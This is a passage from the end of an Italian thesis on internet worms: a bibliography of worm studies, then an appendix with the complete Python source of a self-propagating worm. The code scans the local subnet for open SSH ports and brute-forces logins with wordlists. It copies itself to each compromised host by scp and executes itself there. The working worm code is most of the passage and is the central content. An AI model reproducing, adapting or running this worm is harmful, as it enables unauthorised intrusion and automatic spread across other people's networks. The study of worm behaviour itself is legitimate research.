[6] David Moore, Vern Paxson, Stefan Savage, Colleen Shannon, Stuart Staniford, and Nicholas Weaver. Inside the slammer worm. IEEE Security & Privacy, (4):33–39, 2003. [7] David Moore, Colleen Shannon, et al. Code-red: a case study on the spread and victims of an internet worm. In Proceedings of the 2nd ACM SIGCOMM Workshop on Internet measurment, pages 273–284. ACM, 2002. [8] Hilarie Orman. The morris worm: A fifteen-year perspective. Security & Privacy, (5):35–43, 2003. IEEE [9] Retains Full Rights. Sans institute infosec reading room. 2001. [10] Stuart Staniford, Vern Paxson, and Nicholas Weaver. How to own the internet in your spare time. In Proceedings of the 11th USENIX Security Symposium, pages 149–167, Berkeley, CA, USA, 2002. USENIX Association. [11] Stuart Staniford, Vern Paxson, Nicholas Weaver, et al. How to own the internet in your spare time. In USENIX Security Symposium, pages 149– 167, 2002. [12] Cliff Changchun Zou, Weibo Gong, and Don Towsley. Code red worm propagation modeling and analysis. In Proceedings of the 9th ACM conference on Computer and communications security, pages 138–147. ACM, 2002. 53 54 BIBLIOGRAFIA Appendice A Codice 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from socket import * from pexpect import pxssh import pexpect import netifaces as ni from threading import * import getpass import os screenLock = Semaphore ( value = 1) NETMASK = 3 USERFILE = " user . txt " PASSFILE = " password . txt " NETWORK_RANGE = 255 FILENAME = " Worm . py " def exploit_ssh (s , tgtHost , user , password ) : """ Effettua l ’ upload del worm e lo esegue sull ’ host vittima """ print " [+] Inizio exploiting " if upload_file ( tgtHost , user , password , FILENAME ) and upload_file ( tgtHost , user , password , USERFILE ) and upload_file ( tgtHost , user , password , PASSFILE ) : # MICHELE : upload di tre file cmd = " chmod + x " + FILENAME send_command (s , cmd ) cmd = " python " + FILENAME send_command (s , cmd ) print " [+] Exploiting completato " def upload_file ( host , user , password , filename ) : """ 55 56 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 APPENDICE A. CODICE La funzione copia il file filename del Worm nella cartella Home dell ’ utente . #1 pexpect . spawn ( ’ scp / Users / Alessandro / Desktop / Scan . py ’ + target_string ) esegue il comando per inviare un file #2 child . expect ([" password "]) controlla se nella risposta ottenuta dal server e ’ presente la richieta dela password . #3 child . sendline ( password ) invia la password #4 child . expect ( pexpect . EOF ) Chiude il file copiato """ try : target_string = user + " @ " + host + " :~/ " source_string = " / home / " + getpass . getuser () + " / " + filename cmd = ’ scp ’ + source_string + " " + target_string print cmd child = pexpect . spawn ( cmd ) child . expect ([ " password " ]) child . sendline ( password ) child . expect ( pexpect . EOF ) print " [+] File " + filename + " copiato con successo . " return True except Exception as e : print e print " [ -] Problema nel caricamento del file . " return False def send_command (s , cmd ) : s . sendline ( cmd ) s . prompt () print s . before def ssh_connect ( host , user , password ) : """ Tentativo di connessione alla porta #22 """ try : s = pxssh . pxssh () s . login ( host , user , password ) return s except : screenLock . acquire () print " [ -] Error , Invalid Parameters For User : {0} Password : {1} Host : {2} " . format ( user , password , host ) screenLock . release () 57 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 return None def test_connection ( tgtHost , tgtPort ) : """ Scansione della porta tgtPort per controllare se il servizio risulta attivo sull ’ HOST in esame """ try : connSkt = socket ( AF_INET , SOCK_STREAM ) connSkt . settimeout (1) connSkt . connect (( tgtHost , tgtPort ) ) screenLock . acquire () print ’ [+] {0} | TCP OPEN for IP {1} ’. format ( tgtPort , tgtHost ) return True except Exception as e : screenLock . acquire () if str ( e ) == " timed out " : print ’[ -] HOST {0} is Offline ’. format ( tgtHost ) else : print ’[ -] {0} | TCP CLOSED for IP {1} caused by {2} ’. format ( tgtPort , tgtHost , e ) connSkt . close () return False finally : screenLock . release () def ssh_scan ( tgtHost , tgtPort ) : """ Verifica la connessione ad ssh , in caso di successo viene effettuata la connessione e si procede con un attacco a forza bruta per individuare Username e Password . """ if not test_connection ( tgtHost , tgtPort ) : return None uF = open ( USERFILE , ’r ’) for user in uF . readlines () : user = user . strip ( " \ r " ) . strip ( " \ n " ) pF = open ( PASSFILE , ’r ’) for password in pF . readlines () : password = password . strip ( " \ r " ) . strip ( " \ n " ) s = ssh_connect ( tgtHost , user , password ) if ( s != None ) : print " [+] User : {0} Password : {1} Host : {2} 58 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 APPENDICE A. CODICE " . format ( user , password , tgtHost ) exploit_ssh (s , tgtHost , user , password ) return pF . close () def network_scan () : """ Scan della rete per individuare potenziali indirizzi IP vulnerabili , viene creata una NETMASK con la wquale si decide la sottorete da analizzare . """ interface_list = os . listdir ( ’/ sys / class / net / ’) for interface in interface_list : if interface == ’ lo ’: continue try : ni . ifaddresses ( interface ) ip = ni . ifaddresses ( interface ) [2][0][ ’ addr ’] print " [+] Interfaccia di rete trovata : " + interface mask_ip = " . " . join ( ip . split ( ’. ’) [: NETMASK ]) for i in range ( NETWORK_RANGE ) : targetIP = mask_ip + " . " + str ( i ) if targetIP != ip : t = Thread ( target = ssh_scan , args =( targetIP , int (22) ) ) t . start () except Exception as e : print " [ -] Interfaccia di rete non valida : " + interface continue ; def main () : network_scan () if __name__ == ’ __main__ ’: main ()
Documenti analoghi
Situazione Malware 2002-2003
• E’ possibile usarli per attaccare altre macchine, ma è da
diverso tempo che non si verificano incidenti importanti
legati al DDoS
• E’ possibile che i Worm vengano usati per scopi diversi?
Ad ese...